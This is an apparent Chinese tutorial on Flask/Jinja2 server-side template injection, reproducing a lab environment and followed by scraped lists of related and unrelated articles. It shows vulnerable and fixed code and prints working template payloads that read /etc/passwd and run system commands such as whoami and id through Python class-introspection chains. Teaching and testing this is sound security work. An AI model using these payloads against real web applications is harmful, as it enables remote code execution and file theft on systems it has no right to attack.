flask

Flask 是一个 web 框架。也就是说 Flask 为你提供工具,库和技术来允许你构建一个 web 应用程序。这个 wdb 应用程序可以使一些 web 页面、博客、wiki、基于 web 的日历应用或商业网站。

Flask 属于微框架(micro-framework)这一类别,微架构通常是很小的不依赖于外部库的框架。这既有优点也有缺点,优点是框架很轻量,更新时依赖少,并且专注安全方面的 bug,缺点是,你不得不自己做更多的工作,或通过添加插件增加自己的依赖列表。Flask 的依赖如下:

  • Werkzeug 一个 WSGI 工具包
  • jinja2 模板引擎

Flask简单易学,下面是Flask版的hello world(hello.py):

from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World!" if __name__ == "__main__":
app.run()

安装flask即可运行了:

$ pip install Flask

$ python hello.py
* Running on http://localhost:5000/ *flask默认端口是5000

Jinja 2

  • Jinja 2是一种面向Python的现代和设计友好的模板语言,它是以Django的模板为模型的
  • Jinja2 是 Flask 框架的一部分。Jinja2 会把模板参数提供的相应的值替换了 {{…}} 块
  • Jinja2 模板同样支持控制语句,像在 {%…%} 块中
{# This is jinja code
# 控制结构
{% for file in filenames %}
# 取值
{{ file }}
{% endfor %}
#}

Demo

from jinja2 import Template
t=Template('{% for i in range(10) %}{{ i }}{% endfor %}')
print t.render()

漏洞原理

先进入容器看一下web服务的代码

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/")
def index():
name = request.args.get('name', 'guest') t = Template("Hello " + name)
return t.render() if __name__ == "__main__":
app.run()

看到Template("Hello " +name),Template()完全可控,那么就可以直接写入jinja2的模板语言,如

当然发送这种情况不能由jinja2背锅,这完全是开发人员的编码不当,若我修改如下

from flask import Flask, request
from jinja2 import Template app = Flask(__name__) @app.route("/safe")
def safe():
name = request.args.get('name', 'guest') t = Template("Hello {{n}}")
return t.render(n=name) if __name__ == "__main__":
app.run()

就不存在模板注入

Jinja2 的模板中执行 Python 代码

在jinja2中是可以直接访问python的一些对象及其方法的,如

字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数

那么如何在 Jinja2 的模板中执行 Python 代码呢?如官方的说法是需要在模板环境中注册函数才能在模板中进行调用,例如想要在模板中直接调用内置模块os,即需要在模板环境中对其注册

那么,如何在未注册OS模块的情况下在模板中调用popen()函数执行系统命令呢?前面已经说了,在 Jinja2 中模板能够访问 Python 中的内置变量并且可以调用对应变量类型下的方法,用到常见的 Python 沙盒环境逃逸方法

利用 Python 特性

  • __bases__

    以元组返回一个类直接所继承的类
  • __mro__

    以元组返回继承关系链
  • __class__

    返回对象所属的类
  • __globals__

    以dict返回函数所在模块命名空间中的所有变量
  • __subclasses__()

    以列表返回类的子类
  • _builtin_

    内建函数,python中可以直接运行一些函数,例如int(),list()等等,这些函数可以在__builtins__中可以查到。查看的方法是dir(__builtins__)

    ps:在py3中__builtin__被换成了builtin

    __builtin__ 和 __builtins__之间是什么关系呢?
  1. 在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此。
  2. 非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身

用file对象读取文件

不能像字符串对象,列表对象那样直接引用('' []),那如何拿到file对象呢?就用上面给的属性和方法,如

for c in {}.__class__.__base__.__subclasses__():
if(c.__name__=='file'):
print(c)
print c('test.txt').readlines()

该代码从列表对象获取其类,再取基类(object),再取object的所有子类,从子类中寻找file类,如果找到就使用其构造方法创建对象后再用readlines读取文件内容

用jinja2语法就是

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='file' %}
{{"find!"}}
{{ c("/etc/passwd").readlines() }}
{% endif %}
{% endfor %}

在本机测试没有问题,但是在这个doker容器里不知道为什么找不见file类

emmm,经测试发现在python3中并没有file类,所以上述读取文件的方法只适用于python2

那么就有必要找到python2/3通用的方法,就直接找eval,有了这个还有什么不能做

寻找__builtins__得到eval

for c in ().__class__.__bases__[0].__subclasses__():
try:
if '__builtins__' in c.__init__.__globals__.keys():
print(c.name)
except:
pass

找到了一个python2/3都有__builtins__的类 _IterationGuard

于是python2/3通用的执行任意代码

for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='_IterationGuard':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")

用jinja的语法即为(执行命令使用os.popen('whoami').read()才有执行结果的回显)

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='_IterationGuard' %}
{{ c.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()") }}
{% endif %}
{% endfor %}

我本机上存在中文编码的问题,所以命令执行结果带中文的话会出错,所以就用echo l3yx展示下执行命令的效果

直接从globals中寻找eval

原理和上面大同小异,vulhub的文档中用的就是这种

payload

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

参考:

Server-Side Template Injection

利用 Python 特性在 Jinja2 模板中执行任意代码

用python继承链搞事情 (膜 Orz)

Flask(Jinja2) 服务端模板注入漏洞(SSTI)的更多相关文章

  1. SSTI服务端模板注入漏洞原理详解及利用姿势集锦

    目录 基本概念 模板引擎 SSTI Jinja2 Python基础 漏洞原理 代码复现 Payload解析 常规绕过姿势 其他Payload 过滤关键字 过滤中括号 过滤下划线 过滤点.(适用于Fla ...

  2. Flask(Jinja2) 服务端模板注入漏洞

    原理 参考文章: https://www.blackhat.com/docs/us-15/materials/us-15-Kettle-Server-Side-Template-Injection-R ...

  3. 有关于服务端模板注入(ssti攻击)——BUUCTF - easy_tornado

    打开题目出现3个链接 /flag.txt 中提示flag in /fllllllllllllag /welcome.txt 中提示 render /hints.txt 中提示 md5(cookie_s ...

  4. SSTI-服务端模板注入漏洞

      原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露.代码执行.GetShell ...

  5. 服务端模版注入漏洞检测payload整理

    服务端模版注入漏洞产生的根源是将用户输入的数据被模版引擎解析渲染可能导致代码执行漏洞 下表涵盖了java,php,python,javascript语言中可能使用到的模版引擎,如果网站存在服务端模版注 ...

  6. 漏洞复现-Flask-SSTI服务端模板注入

      0x00 实验环境 攻击机:Win 10 0x01 影响版本 Python利用的一些静态框架 0x02 漏洞复现 (1)实验环境:docker运行的vulhub漏洞环境 首先,可直接访问到页面的显 ...

  7. SSTI-服务端模板注入

    SSTI-服务端模板注入漏洞 原理: 服务端模板注入是由于服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,因而导致了敏感信息泄露. ...

  8. Atlassian JIRA服务器模板注入漏洞复现(CVE-2019-11581)

    0x00 漏洞描述 Atlassian Jira是澳大利亚Atlassian公司的一套缺陷跟踪管理系统.该系统主要用于对工作中各类问题.缺陷进行跟踪管理. Atlassian Jira Server和 ...

  9. 安全测试5_服务端的安全漏洞(SQL注入、命令注入、文件操作类)

    前面大致讲解了下客户端的安全漏洞,现在来讲解下服务端的安全漏洞. 1.SQL注入(SQL Injection),是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库 ...

随机推荐

  1. ASP.NET Core部署系列二:发布到CentOS上

    前言: 在上一节中,通过一系列的步骤,已经将项目部署到IIS上,虽然遇到了一些问题,但最终解决并成功运行了.而在这一节中,将尝试通过linux系统的环境下,部署项目,实现Net Core跨平台的亮点. ...

  2. python Windows环境下文件路径问题

    转自:http://blog.sina.com.cn/s/blog_5ee7254801013zu7.html 在python程序里面我们经常需要对文件进行操作,Windows下的文件目录路径使用反斜 ...

  3. go-爬段子

    爬取搞笑的段子,横向爬取+纵向爬取 横向爬取爬页数,纵向爬取,爬每页的内容 package main import ( "fmt" "io" "net ...

  4. 从0系统学Android-2.4 Activity 的生命周期

    本系列文章,参考<第一行代码>,作为个人笔记 更多内容:更多精品文章分类 本系列持续更新中.... 2.4 Activity 的生命周期 掌握 Activity 的生命周期对于开发者来说是 ...

  5. Eclipse的Git插件Egit: merge合并冲突具体解决方法

    http://www.cnblogs.com/wavky/p/3504060.html 稍微总结下弄了半个下午的egit的merge合并冲突解决方法,网上看的都是一个模板出来的,看的糊里糊涂,花了很多 ...

  6. 近期用到了Git,就简单介绍下具体用法吧

    pull:是下拉代码,相等于将远程的代码下载到你本地,与你本地的代码合并push:是推代码,将你的代码上传到远程的动作完整的流程是: 第一种方法:(简单易懂) 1.git add .(后面有一个点,意 ...

  7. linux 下使用 tc 模拟网络延迟和丢包-使用 linux 模拟广域网延迟 - Emulating wide area network delays with Linux

    tc 是linux 内置的命令:使用man pages 查看 我们看到,其功能为 show / manipulate traffic control settings,可对操作系统进行流量控制: ne ...

  8. Django—开发具体流程

    1.创建Django项目 [root@localhost ~]# django-admin startproject 项目名 [root@localhost ~]# django-admin star ...

  9. OSPF与ACL综合实验

    OSPF与ACL综合实验 1.实验内容 (1)企业内网运行OSPF路由协议,区域规划如拓扑图所示(见3.实验拓扑图): (2)财务和研发所在的区域不受其他区域链路不稳定性影响: (3)R1.R2.R3 ...

  10. element-ui 中dialog居中

      .el-dialog{        display: flex;        flex-direction: column;        margin:0 !important;       ...